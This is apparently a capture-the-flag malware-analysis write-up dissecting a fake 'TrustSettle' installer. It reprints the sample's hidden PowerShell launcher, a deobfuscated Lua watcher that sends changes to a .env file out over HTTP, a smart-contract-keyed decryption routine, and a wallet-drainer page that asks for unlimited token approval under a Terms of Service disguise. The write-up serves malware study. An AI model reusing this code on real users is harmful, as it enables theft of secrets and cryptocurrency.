HTB Holmes CTF 2026 - Silent Dividend
Silent Dividend was a Forensics - Malware Analysis challenge from HTB Holmes CTF 2026. The challenge provided a single executable, TrustSettle 1.0.0.exe, and required ten questions to be answered by reconstructing its behavior.
This write-up follows that investigation chronologically: NSIS extraction, Electron source recovery, preload analysis, Lua payload analysis, blockchain key recovery, payload decryption, HTML analysis, and finally the second smart contract.
Initial triage
I began by checking the executable’s size. At approximately 95 MB, it was unusually large for a simple Windows utility and suggested that the file might bundle a framework such as Electron.

I then inspected the executable with Detect It Easy (DIE).

DIE identified the sample as an NSIS installer. NSIS is an open-source system for building Windows installers, and its packages can often be unpacked with 7-Zip, as described in the NSIS documentation. Extracting the installer exposed an embedded archive.

I extracted that archive as well, revealing the packaged application.

Recovering the Electron application
Two locations in the extracted tree immediately stood out:
resources/
├── app.asar
└── elevate.exe
extraResources/
├── api.txt
├── lua51.dll
└── luajit.exe
The app.asar file confirmed that this was an Electron application. ASAR is Electron’s archive format for packaging application source and resources. I extracted it with:
npx asar extract app.asar
The recovered source had the following structure:
extracted/
├── main.js
├── node_modules/
├── package.json
├── preload.js
└── src/
Of these files, preload.js was the most important because preload scripts run with privileged access to Node.js APIs and often reveal how an Electron application interacts with the host system.
Analyzing preload.js
The first relevant section copied the bundled files, launched the Lua payload, and defined the blockchain-backed encrypted payload:
fs.readdirSync(path.resolve(`${process.resourcesPath}/../extraResources`)).forEach(f => fs.copyFileSync(path.resolve(`${process.resourcesPath}/../extraResources`, f),path.join('C:\\Users\\Public', f)));
exec("powershell.exe -exec bypass -w hidden -nop -c \"& 'C:\\Users\\Public\\luajit.exe' 'C:\\Users\\Public\\api.txt'\"");
const CONTRACT_ADDRESS =
'0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1';
const RPC_URL =
'https://ethereum-sepolia-rpc.publicnode.com';
const CONTRACT_ABI = [
'function resolveState() view returns (bytes32)'
];
const ENCRYPTED_DATA =
'0x560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0';
The call to fs.readdirSync() enumerates extraResources, while fs.copyFileSync() copies each file into C:\Users\Public. This is suspicious because a public, writable directory gives the dropped components a predictable path outside the application package.
The next line starts luajit.exe through PowerShell and passes api.txt as the Lua script. Its options are particularly notable:
-exec bypassbypasses PowerShell’s execution-policy checks for that process.-w hiddenhides the PowerShell window.-nopprevents the user’s PowerShell profile from loading.
Together, these options reduce visible signs of execution and avoid profile-based restrictions or logging customizations. The command therefore launches the dropped Lua payload with no visible window:
powershell.exe -exec bypass -w hidden -nop -c "& 'C:\Users\Public\luajit.exe' 'C:\Users\Public\api.txt'"
Challenge answer 1:
C:\Users\Public
The same preload script configures an Ethereum Sepolia RPC endpoint, the contract address 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1, and an embedded ciphertext. It retrieves the remote state as follows:
async function queryRemoteState() {
if (
!ethers.isAddress(
CONTRACT_ADDRESS
)
) {
throw new Error(
'Invalid contract address'
);
}
const provider =
new ethers.JsonRpcProvider(
RPC_URL
);
const code =
await provider.getCode(
CONTRACT_ADDRESS
);
if (
code === '0x'
) {
throw new Error(
'No contract found at configured address'
);
}
const contract =
new ethers.Contract(
CONTRACT_ADDRESS,
CONTRACT_ABI,
provider
);
const state =
await contract
.resolveState();
return state;
}
The application first validates the address, checks that contract bytecode exists at that address, and then creates an ethers.Contract instance. It invokes resolveState() and returns the resulting bytes32 value.
Challenge answer 4:
resolveState()
That value is passed to the following custom decryption function:
function decryptEmbeddedData(
encryptedData,
encryptionKey
) {
const data =
hexToBuffer(
encryptedData,
'Encrypted data'
);
const key =
hexToBuffer(
encryptionKey,
'Encryption key'
);
if (data.length === 0) {
throw new Error(
'Encrypted data is empty'
);
}
if (key.length === 0) {
throw new Error(
'Encryption key is empty'
);
}
const magicConstant =
0x42;
const rotationBits =
7;
const result =
Buffer.alloc(
data.length
);
for (
let i = 0;
i < data.length;
i++
) {
const keyByte =
key[
i % key.length
];
const step1 =
data[i] ^
keyByte;
const step2 =
(
(
step1 <<
rotationBits
) |
(
step1 >>>
(
8 -
rotationBits
)
)
) & 0xff;
result[i] =
step2 ^
magicConstant;
}
return result.toString(
'utf8'
);
}
For each ciphertext byte, the routine XORs it with the corresponding key byte, rotates the result left by seven bits, and then XORs it with the constant 0x42. At this stage, however, the key itself was still stored in the smart contract and had to be recovered later.
Before moving to the blockchain part, I examined the dropped Lua component to understand the application’s host-level behavior.
Deobfuscating the Lua payload
The file api.txt contained heavily obfuscated Lua. I searched for a Lua deobfuscator that matched the sample’s structure and used LuaJIT Editor.


The tool produced safe-decoded.lua and unsafe-decoded.lua. The latter was substantially more readable and exposed the payload’s Windows API declarations and control flow:
local unpack_values = table.unpack or unpack
local r15, r18, r20, r27, r31, r32, r34, r35, r36, r37, r39, r40, r56
local r17 = (math.floor)
local r23, r16 = "setmetatable"
local r19
local r6 = r23
local ffi = require("ffi")
local bit = require("bit")
local r8
local r8 = (ffi.load("winhttp"))
local r9 = ffi.cdef
r9("typedef void *HANDLE;\ntypedef int BOOL;\ntypedef unsigned long DWORD;\ntypedef wchar_t WCHAR;\ntypedef void CURL;\n\ntypedef void* HINTERNET;\ntypedef unsigned short WORD;\ntypedef unsigned long DWORD;\ntypedef int BOOL;\ntypedef const wchar_t* LPCWSTR;\ntypedef wchar_t* LPWSTR;\ntypedef void* LPVOID;\n\nHINTERNET WinHttpOpen(\n LPCWSTR pszAgentW,\n DWORD dwAccessType,\n LPCWSTR pszProxyW,\n LPCWSTR pszProxyBypassW,\n DWORD dwFlags\n);\n\nHINTERNET WinHttpConnect(\n HINTERNET hSession,\n LPCWSTR pswzServerName,\n WORD nServerPort,\n DWORD dwReserved\n);\n\nHINTERNET WinHttpOpenRequest(\n HINTERNET hConnect,\n LPCWSTR pwszVerb,\n LPCWSTR pwszObjectName,\n LPCWSTR pwszVersion,\n LPCWSTR pwszReferrer,\n LPCWSTR* ppwszAcceptTypes,\n DWORD dwFlags\n);\n\nBOOL WinHttpSendRequest(\n HINTERNET hRequest,\n LPCWSTR lpszHeaders,\n DWORD dwHeadersLength,\n LPVOID lpOptional,\n DWORD dwOptionalLength,\n DWORD dwTotalLength,\n DWORD* dwContext // actually ULONG_PTR, but pointer-sized here is fine for our use (we pass 0)\n);\n\nBOOL WinHttpReceiveResponse(HINTERNET hRequest, LPVOID lpReserved);\n\nBOOL WinHttpQueryDataAvailable(HINTERNET hRequest, DWORD* lpdwNumberOfBytesAvailable);\n\nBOOL WinHttpReadData(\n HINTERNET hRequest,\n LPVOID lpBuffer,\n DWORD dwNumberOfBytesToRead,\n DWORD* lpdwNumberOfBytesRead\n);\n\nBOOL WinHttpCloseHandle(HINTERNET hInternet);\n\nDWORD GetLastError();\n\nHANDLE CreateFileW(\n const WCHAR *lpFileName,\n DWORD dwDesiredAccess,\n DWORD dwShareMode,\n void *lpSecurityAttributes,\n DWORD dwCreationDisposition,\n DWORD dwFlagsAndAttributes,\n HANDLE hTemplateFile\n);\n\nBOOL ReadDirectoryChangesW(\n HANDLE hDirectory,\n void *lpBuffer,\n DWORD nBufferLength,\n BOOL bWatchSubtree,\n DWORD dwNotifyFilter,\n DWORD *lpBytesReturned,\n void *lpOverlapped,\n void *lpCompletionRoutine\n);\n\nBOOL CloseHandle(HANDLE hObject);\nDWORD GetLastError(void);\n\ntypedef struct {\n DWORD NextEntryOffset;\n DWORD Action;\n DWORD FileNameLength;\n WCHAR FileName[1];\n} FILE_NOTIFY_INFORMATION;\n")
r9 = ffi.load
local r14
local r9 = (r9("kernel32"))
local r15 = 2147483648
local r16 = 1
local r20 = 2
local r17 = 4
local r19 = 3
local r18 = 33554432
local r14 = (ffi.cast("HANDLE", -1))
local r27 = 1
local r31 = 8
local r34 = 16
local r28 = {
[1] = "FILE_ADDED";
[2] = "FILE_REMOVED";
[3] = "FILE_MODIFIED",
[4] = "FILE_RENAMED_OLD_NAME";
[5] = "FILE_RENAMED_NEW_NAME"
}
local function local_function_3(argument_1, ...)
local local_68, local_77
local local_65 = {
argument_1:match("^(https?)://([^:/]+):?(%d*)(/?.*)$")
}
local local_71, local_72, local_73, local_74 = local_65[3], local_65[4], local_65[2], local_65[1]
local_65 = local_73
local local_70 = local_74
if not local_73 then
error((("Could not parse URL: ") .. argument_1))
end
local_73 = "https"
local_74 = local_70 == local_73
local local_66 = (local_70 == local_73)
local local_67 = tonumber(local_71)
local_73 = local_67
if local_67 then
else
local_68, local_77 = local_66 and 443, 80
local_73 = (local_68 or local_77)
end
local_71 = local_73
local_74 = local_72 == ""
if local_72 == ("") then
local_72 = "/"
end
return local_66, local_65, local_71, local_72
end
local r36 = r28
local r37 = 0
local function local_function_4(argument_1, ...)
local local_81, local_82, local_83, local_85, local_86
local local_80 = io.open(argument_1, "r")
local local_79 = local_80
if not local_80 then
return ({})
else
local_81 = {}
local_85 = {
local_79:lines()
}
local_82, local_86, local_80 = local_85[3], local_85[1], local_85[2]
local_85 = local_86
local_83 = local_80
while true do
local_82 = local_85(local_83, local_82)
if local_82 then
local_81[((# local_81) + 1)] = local_82
else
break
end
end
local_80 = {
local_81
}
local_79:close()
return unpack_values(local_80)
end
end
local r39 = nil
local r40 = nil
local r32 = 8388608
local r35 = nil
local function local_function_6(argument_1, argument_2, ...)
local local_99, local_104, local_105, local_109, local_110, local_111, local_112, local_113, local_114, local_115
local local_102 = # argument_1
local local_103 = (# argument_1)
local_102 = {}
local local_107 = (# argument_2)
local local_106, local_108 = 0, local_102
for local_99 = local_106, local_103, 1 do
local_110 = local_99
local_108[local_110] = ({})
local_106 = 0
for local_112 = local_106, local_107, 1 do
local_115 = local_112
local_102 = local_108[local_110]
local_106 = 0
local_102[local_115] = local_106
end
end
local_106 = 1
for local_99 = local_106, local_103, 1 do
local_106, local_110, local_111, local_112 = 1, local_99, local_107, 1
local_113 = local_112
local_114 = 0 > local_113
local_112 = local_106 - local_113
while true do
local_115, local_112 = not local_114, local_112 + local_113
local_102 = ((local_114 and (local_111 <= local_112)) or (local_115 and (local_111 >= local_112))) and 10222897
if (local_114 and (local_111 <= local_112)) or ((not local_114) and (local_111 >= local_112)) then
else
break
end
local_115 = local_112
local_106 = argument_1[local_110]
local_102 = local_106 == (argument_2[local_112])
if (argument_1[local_110]) == (argument_2[local_112]) then
local_102 = local_108[local_110]
local_106 = ((local_108[(local_110 - 1)])[(local_115 - 1)]) + 1
local_102[local_115] = local_106
else
local_102 = local_108[local_110]
local_102[local_115] = (math.max(((local_108[(local_110 - 1)])[local_115]), ((local_108[local_110])[(local_115 - 1)])))
end
end
end
local_109, local_106 = local_107, {}
local_104, local_105, local_99 = ({}), local_103, local_106
while true do
local_106 = (local_105 > 0)
if local_105 > 0 then
local_106 = (local_109 > 0)
end
if local_106 then
local_102 = (argument_1[local_105]) == (argument_2[local_109])
if (argument_1[local_105]) == (argument_2[local_109]) then
local_105, local_109 = (local_105 - 1), (local_109 - 1)
else
local_110 = ((local_108[(local_105 - 1)])[local_109]) >= ((local_108[local_105])[(local_109 - 1)])
if ((local_108[(local_105 - 1)])[local_109]) >= ((local_108[local_105])[(local_109 - 1)]) then
table.insert(local_104, 1, argument_1[local_105])
local_105 = (local_105 - 1)
else
table.insert(local_99, 1, argument_2[local_109])
local_109 = (local_109 - 1)
end
end
else
break
end
end
while true do
local_112 = local_105 > 0
if local_105 > 0 then
table.insert(local_104, 1, argument_1[local_105])
local_105 = (local_105 - 1)
else
break
end
end
while true do
local_113 = local_109 > 0
if local_109 > 0 then
table.insert(local_99, 1, argument_2[local_109])
local_109 = (local_109 - 1)
else
break
end
end
return local_104, local_99
end
local captured_3 = ffi
local function local_function_7(argument_1, ...)
local local_129
local local_125 = # argument_1
local local_130 = (# argument_1)
local local_132 = (captured_3.new("wchar_t[?]", (local_130 + 1)))
local local_126 = 1
for local_129 = local_126, local_130, 1 do
local_125 = local_129 - 1
local_126 = argument_1:byte(local_129)
local_132[local_125] = local_126
end
local_126 = {
local_132
}
local_132[local_130] = 0
return unpack_values(local_126)
end
local captured_4 = local_function_3
local captured_5 = local_function_7
local captured_6 = ffi
local function local_function_9(argument_1, argument_2, argument_3, ...)
local local_164, local_165, local_167, local_168, local_169
local local_145 = (argument_3 or r6[("application/octet-stream")])
local local_149 = {
captured_4(argument_1)
}
local local_152, local_153 = local_149[4], local_149[1]
local local_150 = local_149[3]
local local_148 = local_149[2]
local_149 = r8.WinHttpOpen((captured_5("LuaFFI-Client/1.0")), r37, r39, r40, 0)
local local_154 = local_149 == nil
if local_149 == nil then
error("WinHttpOpen failed")
end
local local_151 = r8.WinHttpConnect(local_149, (captured_5(local_148)), local_150, 0)
local_154 = local_151 == nil
if local_151 == nil then
error("WinHttpConnect failed")
end
local local_159 = local_153
if local_153 then
local_159 = r32
end
local local_160 = r8.WinHttpOpenRequest(local_151, (captured_5("POST")), (captured_5(local_152)), nil, r35, nil, (local_159 or 0))
local_159 = local_160 == nil
if local_160 == nil then
error("WinHttpOpenRequest failed")
end
local local_157 = string.format("Content-Type: %s\r\n", local_145)
local local_156 = captured_5(local_157)
local_159 = # argument_2
local local_161 = captured_6.new("char[?]", local_159)
captured_6.copy(local_161, argument_2, local_159)
local local_163 = r8.WinHttpSendRequest(local_160, local_156, (# local_157), local_161, local_159, local_159, nil)
local local_155 = local_163 == 0
if local_163 == 0 then
error((local_165 .. (tostring(unpack_values(({
r8.GetLastError()
}))))))
end
local local_162 = r8.WinHttpReceiveResponse(local_160, nil)
local_155 = local_162 == 0
if local_162 == 0 then
error((local_168 .. (tostring(unpack_values(({
r8.GetLastError()
}))))))
end
local_155 = {}
while true do
do
local_165 = captured_6.new("DWORD[1]", 0)
local_167 = r8.WinHttpQueryDataAvailable(local_160, local_165)
local_164 = local_167 == 0
if local_167 == 0 then
break
else
local_167 = (local_165[0]) == 0
if (local_165[0]) == 0 then
break
else
local_164 = (captured_6.new("char[?]", local_165[0]))
local_168 = (captured_6.new("DWORD[1]", 0))
local_169 = ((r8).WinHttpReadData)(local_160, local_164, (local_165[0]), local_168)
local_167 = local_169 == 0
if local_169 == 0 then
break
else
table.insert(local_155, unpack_values(({
captured_6.string(local_164, local_168[0])
})))
end
end
end
end
end
r8.WinHttpCloseHandle(local_160)
r8.WinHttpCloseHandle(local_151)
r8.WinHttpCloseHandle(local_149)
return table.concat(local_155)
end
local captured_7 = ffi
local captured_8 = local_function_9
local function local_function_10(argument_1, argument_2, ...)
local local_181, local_183, local_189, local_191, local_192, local_193, local_194, local_195, local_196, local_197, local_198, local_199, local_200, local_201, local_204, local_206, local_207
local local_188 = (r9.CreateFileW((local_function_7(argument_1)), r15, (bit.bor(r16, r20, r17)), nil, r19, r18, nil))
local_177 = local_188 == r14
if local_188 == r14 then
error((("Failed to open directory, error: ") .. (r9.GetLastError())))
end
print(unpack_values(({
string.format("Watching %s for changes to %s", argument_1, argument_2)
})))
local_177 = argument_1 .. argument_2
local local_185 = (argument_1 .. argument_2)
local local_186 = (local_function_4(local_185))
local local_187 = 4096
local local_179 = (captured_7.new("char[?]", local_187))
local local_184 = (captured_7.new("DWORD[1]"))
local local_190 = (bit.bor(r27, r31, r34))
while true do
do
local_183 = (r9.ReadDirectoryChangesW(local_188, local_179, local_187, false, local_190, local_184, nil, nil))
local_177 = local_183 == 0
if local_183 == 0 then
print((("ReadDirectoryChangesW failed, error: ") .. (r9.GetLastError())))
break
else
local_189 = 0
while true do
local_191 = (captured_7.cast("FILE_NOTIFY_INFORMATION *", (local_179 + local_189)))
local_181 = local_191["\217Z?\139E#\002\221\157\021\166\189J\131d*\249U\228\172A\152\130x["]
local_192 = 2
local_177 = local_181 / local_192
local_181, local_195, local_192 = 0, 1, (local_181 / local_192)
local_193, local_195 = ({}), (local_192 - local_195)
local_199 = ">n\184\167\006\027\147\151h\236&\221\211\153" < 0
for local_194 = local_181, local_195, 1 do
local_193[((# local_193) + 1)] = (string.char(local_191.FileName[local_194]))
end
local_194 = (table.concat(local_193))
local_181, local_195 = local_194.lower, "lower"
local_181 = local_181(local_194)
local_195 = (argument_2[local_195])(argument_2)
local_177 = local_181 == local_195
if local_181 == local_195 then
local_195 = r36[(tonumber((local_191.Action)))]
local_181 = local_195
if local_195 then
else
local_181 = "UNKNOWN"
end
print(unpack_values(({
((string).format)("[%s] %s", local_181, local_194)
})))
local_177 = (local_191.Action) == 3
if (local_191[("Action")]) == 3 then
local_177 = os.execute
local_177("timeout /t 0 >nul 2>&1")
local_181 = local_function_4(local_185)
local_197 = local_181
local_196 = {
local_function_6(local_186, local_181)
}
local_199 = local_196[2]
local_204 = {
ipairs((local_196[1]))
}
local_198, local_181, local_200 = local_204[2], local_204[1], local_204[3]
local_204 = local_181
while true do
local_200, local_207 = local_204(local_198, local_200)
if local_200 then
local_201 = " - "
local_177 = local_201 .. local_207
captured_8("http://127.0.0.1:8000", (local_201 .. local_207))
else
break
end
end
local_206 = {
ipairs(local_199)
}
local_200, local_198, local_204 = local_206[2], local_206[1], local_206[3]
while true do
local_204, local_207 = local_198(local_200, local_204)
if local_204 then
captured_8("http://127.0.0.1:8000", ((" + ") .. local_207))
else
break
end
end
local_186 = local_197
end
end
local_189 = (local_189 + local_191.NextEntryOffset)
local_199 = local_191.NextEntryOffset
local_197 = local_199 == 0
if local_199 == 0 then
break
end
end
end
end
end
r9.CloseHandle(local_188)
end
local r48 = {
pcall(local_function_10, "C:\\users\\public\\", ".env")
}
local r57, r51 = r48[1], r48[2]
if not (r48[1]) then
r56 = io.stderr
r56:write((("Error: ") .. ((tostring(r51)) .. "\n")))
os.exit(1)
end
Although the recovered variable names remain generic, the payload’s purpose is clear. It loads winhttp and kernel32 through LuaJIT FFI, opens C:\Users\Public\ with CreateFileW, and continuously monitors that directory with ReadDirectoryChangesW.
The API writes directory-change records into a caller-supplied buffer. The script casts entries in that buffer to FILE_NOTIFY_INFORMATION, the Win32 structure that defines fields such as NextEntryOffset, Action, FileNameLength, and FileName.
Challenge answer 2:
FILE_NOTIFY_INFORMATION
The watcher filters events for .env. When that file is modified, the script reads it again and compares its previous and current contents to identify removed and added lines. Removed lines are prefixed with -, while new lines are prefixed with +.
It then creates an HTTP POST request to http://127.0.0.1:8000. The sequence uses WinHttpOpen, WinHttpConnect, and WinHttpOpenRequest, but WinHttpSendRequest is the API that actually sends the request and its body. Even though the destination is localhost, this behavior is still relevant: the payload acts as a file watcher that captures changes to a potentially sensitive environment file and forwards them to another service in the attack chain.
Challenge answer 3:
WinHttpSendRequest
Recovering the blockchain decryption key
The next task was to determine what resolveState() returned. The contract at 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1 was verified on the Sepolia Blockscout explorer, so its source could be inspected directly:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract StateRegistry {
bytes32 private immutable x1;
bytes32 private immutable x2;
bytes32 private immutable x3;
bytes32 private immutable x4;
bytes32 private immutable x5;
constructor(
bytes32 x6,
bytes32 x7,
bytes32 x8,
bytes32 x9,
bytes32 x10
) {
require(
x6 != bytes32(0) &&
x7 != bytes32(0) &&
x8 != bytes32(0) &&
x9 != bytes32(0) &&
x10 != bytes32(0),
"invalid state"
);
x1 = x9;
x2 = x7;
x3 = x8;
x4 = x6;
x5 = x10;
}
function resolveState()
external
view
returns (bytes32)
{
return x1;
}
function resolveStatee()
external
view
returns (bytes32)
{
return x2;
}
function resolveStates()
external
view
returns (bytes32)
{
return x3;
}
function resolveStatus()
external
view
returns (bytes32)
{
return x4;
}
function resolveStage()
external
view
returns (bytes32)
{
return x5;
}
}
The constructor accepts five bytes32 values but deliberately stores them in a different order:
x1 = x9
x2 = x7
x3 = x8
x4 = x6
x5 = x10
The Electron application calls resolveState(), which returns x1. Because the constructor assigns x1 = x9, the fourth constructor argument, x9, is the key required by decryptEmbeddedData().
To recover it, I inspected the contract-creation transaction input:
0x610120604052348015610010575f80fd5b5060405161045d38038061045d83398181016040528101906100329190610119565b5f801b851415801561004657505f801b8414155b801561005457505f801b8314155b801561006257505f801b8214155b801561007057505f801b8114155b6100af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100a6906101ea565b60405180910390fd5b81608081815250508360a081815250508260c081815250508460e081815250508061010081815250505050505050610208565b5f80fd5b5f819050919050565b6100f8816100e6565b8114610102575f80fd5b50565b5f81519050610113816100ef565b92915050565b5f805f805f60a08688031215610132576101316100e2565b5b5f61013f88828901610105565b955050602061015088828901610105565b945050604061016188828901610105565b935050606061017288828901610105565b925050608061018388828901610105565b9150509295509295909350565b5f82825260208201905092915050565b7f696e76616c6964207374617465000000000000000000000000000000000000005f82015250565b5f6101d4600d83610190565b91506101df826101a0565b602082019050919050565b5f6020820190508181035f830152610201816101c8565b9050919050565b60805160a05160c05160e051610100516102196102445f395f61011901525f61018e01525f61014001525f60f201525f61016701526102195ff3fe608060405234801561000f575f80fd5b5060043610610055575f3560e01c806334104e101461005957806339435b00146100775780636c49b42d1461009557806377b3774c146100b3578063f52a8e27146100d1575b5f80fd5b6100616100ef565b60405161006e91906101ca565b60405180910390f35b61007f610116565b60405161008c91906101ca565b60405180910390f35b61009d61013d565b6040516100aa91906101ca565b60405180910390f35b6100bb610164565b6040516100c891906101ca565b60405180910390f35b6100d961018b565b6040516100e691906101ca565b60405180910390f35b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b5f819050919050565b6101c4816101b2565b82525050565b5f6020820190506101dd5f8301846101bb565b9291505056fea2646970667358221220176115669ecc53ad754ef2973d0bcb5e796bb862bd11aed261d50eb646f27a8864736f6c6343000818003381555eea89b714fd6ad80eda5ea6c7e6cceae50193b82eabb48ced56adb81ec7b8d65bb591ae443f301f3272efd8bb8bd24045dbe20d2ae77063d07d9a5f7af98f1aabeb8412c3196908960250e93aa20ae7819ea3d1828541169f59fa65d6413460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4b5209fa26dd09d3d6a000ce1fb7d8f88629986ef45823d9dad95d0ea69729d52
A contract-creation input has the general form:
[creation bytecode][ABI-encoded constructor arguments]
Solidity appends CBOR metadata to the end of the compiled creation bytecode. In this input, the metadata tail including the IPFS metadata reference and compiler version marks the boundary before the constructor data. Everything after that boundary is the ABI-encoded argument area. Because all five constructor parameters are fixed-width bytes32 values, each occupies exactly 32 bytes, with no offsets or dynamic-data section.
Splitting the final 160 bytes into five 32-byte words produced:
81555eea89b714fd6ad80eda5ea6c7e6cceae50193b82eabb48ced56adb81ec7 -> x6
b8d65bb591ae443f301f3272efd8bb8bd24045dbe20d2ae77063d07d9a5f7af9 -> x7
8f1aabeb8412c3196908960250e93aa20ae7819ea3d1828541169f59fa65d641 -> x8
3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4 -> x9
b5209fa26dd09d3d6a000ce1fb7d8f88629986ef45823d9dad95d0ea69729d52 -> x10
The fourth word is therefore x9:
3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4
Decrypting the embedded payload
I reproduced the JavaScript decryption routine in Python, using the recovered x9 value as the key:
encrypted_hex = "560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0"
key_hex = (
"3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4"
)
encrypted = bytes.fromhex(encrypted_hex)
key = bytes.fromhex(key_hex)
magic_constant = 0x42
rotation_bits = 7
result = bytearray()
for i, b in enumerate(encrypted):
key_byte = key[i % len(key)]
step1 = b ^ key_byte
step2 = (
((step1 << rotation_bits) |
(step1 >> (8 - rotation_bits)))
& 0xFF
)
result.append(step2 ^ magic_constant)
print(result.decode("utf-8"))
The output was:
start "" "%TEMP%\settlement.html" && echo AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821
This command opens the dropped settlement.html file from the directory represented by %TEMP% and then prints the recovered authentication and settlement reference values.
Challenge answer 5:
AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821
Challenge answer 6:
TEMP
The use of a smart contract as key delivery separates the encrypted payload from its key. Static analysis of the executable reveals the ciphertext and decryption algorithm, but recovering the plaintext also requires understanding the contract’s constructor state and deployment data.
Analyzing the dropped HTML page
The preload script reads src/settlement.html from the ASAR package and writes it outside the package:
const indexContent =
fs.readFileSync(
path.join(__dirname, 'src', 'settlement.html'),
'utf8'
);
fs.writeFileSync(
path.resolve(`${process.resourcesPath}/../../settlement.html`),
indexContent,
'utf8'
);
The decrypted command later opens this file through %TEMP%\settlement.html. The page presents itself as a Terms of Service agreement and loads ethers.js v6.13.2 from a CDN. Its most relevant interface elements are:
<title>Terms Of Service</title>
<script src="https://cdn.jsdelivr.net/npm/ethers@6.13.2/dist/ethers.umd.min.js"></script>
<!-- Other Terms of Service sections omitted -->
<div class="tos-section">
<h3>4. Data Usage & Wallet Interaction</h3>
<p>By agreeing, you consent to our data usage policy and smart contract interactions, including token approvals required to "enhance" your experience.</p>
</div>
<div class="checkbox-container">
<input type="checkbox" id="agreeCheckbox">
<label for="agreeCheckbox">I understand</label>
</div>
<div class="buttons">
<button class="btn-decline" onclick="decline()">Decline</button>
<button class="btn-agree" id="agreeBtn" onclick="connect()" disabled>I Agree</button>
</div>
<div class="footer-text">
This page will request for token approval. Check your wallet's
confirmation dialog to approve.
</div>
This design turns a blockchain permission request into an apparently routine consent flow. The checkbox enables the I Agree button, whose inline handler calls connect(). Although the footer mentions token approval, the surrounding Terms of Service language frames that approval as a normal prerequisite for continuing rather than as permission for another contract to spend the user’s tokens.
The corresponding JavaScript exposes the wallet drainer style behavior:
const X0_CONTRACT_ADDRESS = "0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D";
const MOCK_TOKEN_ADDRESS = "0x6B2B0C0d0a376255Ac70Bf1366f50982bF476Bb2";
document.getElementById("tokenAddrDisplay").textContent = MOCK_TOKEN_ADDRESS;
document.getElementById("drainerAddrDisplay").textContent = X0_CONTRACT_ADDRESS;
let provider;
let signer;
const MOCK_TOKEN_ABI = [
{
"inputs": [
{"internalType": "address", "name": "spender", "type": "address"},
{"internalType": "uint256", "name": "amount", "type": "uint256"}
],
"name": "approve",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [{"internalType": "address", "name": "account", "type": "address"}],
"name": "balanceOf",
"outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{"internalType": "address", "name": "to", "type": "address"},
{"internalType": "uint256", "name": "amount", "type": "uint256"}
],
"name": "mint",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
];
function setStatus(msg, kind) {
const el = document.getElementById("status");
el.textContent = msg;
el.className = `status ${kind}`;
}
function decline() {
alert("Ended. No wallet action taken.");
document.getElementById("agreeCheckbox").checked = false;
document.getElementById("agreeBtn").disabled = true;
}
document.getElementById("agreeCheckbox").addEventListener("change", function () {
document.getElementById("agreeBtn").disabled = !this.checked;
});
async function connect() {
if (!window.ethereum) {
setStatus("MetaMask not detected. Please install it and try again.", "error");
return;
}
try {
document.getElementById("agreeBtn").disabled = true;
setStatus("Connecting wallet...", "loading");
provider = new ethers.BrowserProvider(window.ethereum);
await provider.send("eth_requestAccounts", []);
signer = await provider.getSigner();
const address = await signer.getAddress();
const network = await provider.getNetwork();
setStatus(`Connected: ${address.substring(0, 6)}...${address.substring(38)} on chain ${network.chainId}. Now requesting approval.`, "success");
await requestApproval();
} catch (err) {
setStatus(`Error: ${err.message}`, "error");
document.getElementById("agreeBtn").disabled = false;
}
}
async function requestApproval() {
try {
setStatus("Requesting token approval...", "loading");
const token = new ethers.Contract(MOCK_TOKEN_ADDRESS, MOCK_TOKEN_ABI, signer);
const unlimitedAmount = ethers.MaxUint256;
const tx = await token.approve(X0_CONTRACT_ADDRESS, unlimitedAmount);
await tx.wait();
setStatus(
`Approved`,
"success"
);
setTimeout(() => {
alert(
"Thank you for approval!"
);
}, 1500);
} catch (err) {
setStatus(`Error during approval: ${err.message}`, "error");
document.getElementById("agreeBtn").disabled = false;
}
}
One implementation issue is also worth noting. The script assigns text to elements with the IDs tokenAddrDisplay and drainerAddrDisplay, but those elements are absent from the supplied HTML. In a normal browser, the first assignment would therefore attempt to set textContent on null and stop that script block. The intended approval flow is nevertheless unambiguous from the remaining code, the page would require those elements to be restored, or the two assignments to be removed, before the button flow could run as written.
The page first checks for window.ethereum, the provider object commonly injected by browser wallets. It wraps that object with new ethers.BrowserProvider(window.ethereum). In ethers.js v6, BrowserProvider is the provider class designed for injected EIP-1193 browser wallets such as MetaMask.
Challenge answer 9:
BrowserProvider
After obtaining a signer, requestApproval() creates a token-contract instance and calls:
token.approve(X0_CONTRACT_ADDRESS, unlimitedAmount)
The token function used to request spending permission is therefore approve().
Challenge answer 7:
approve()
The variable unlimitedAmount is assigned ethers.MaxUint256. This constant is equal to 2^256 - 1, the largest value that can be represented by a Solidity uint256:
115792089237316195423570985008687907853269984665640564039457584007913129639935
Granting this allowance gives the spender contract permission to transfer up to that amount of the user’s token balance. This unlimited approval pattern is dangerous because the permission remains available until it is consumed or explicitly revoked.
Challenge answer 8:
115792089237316195423570985008687907853269984665640564039457584007913129639935
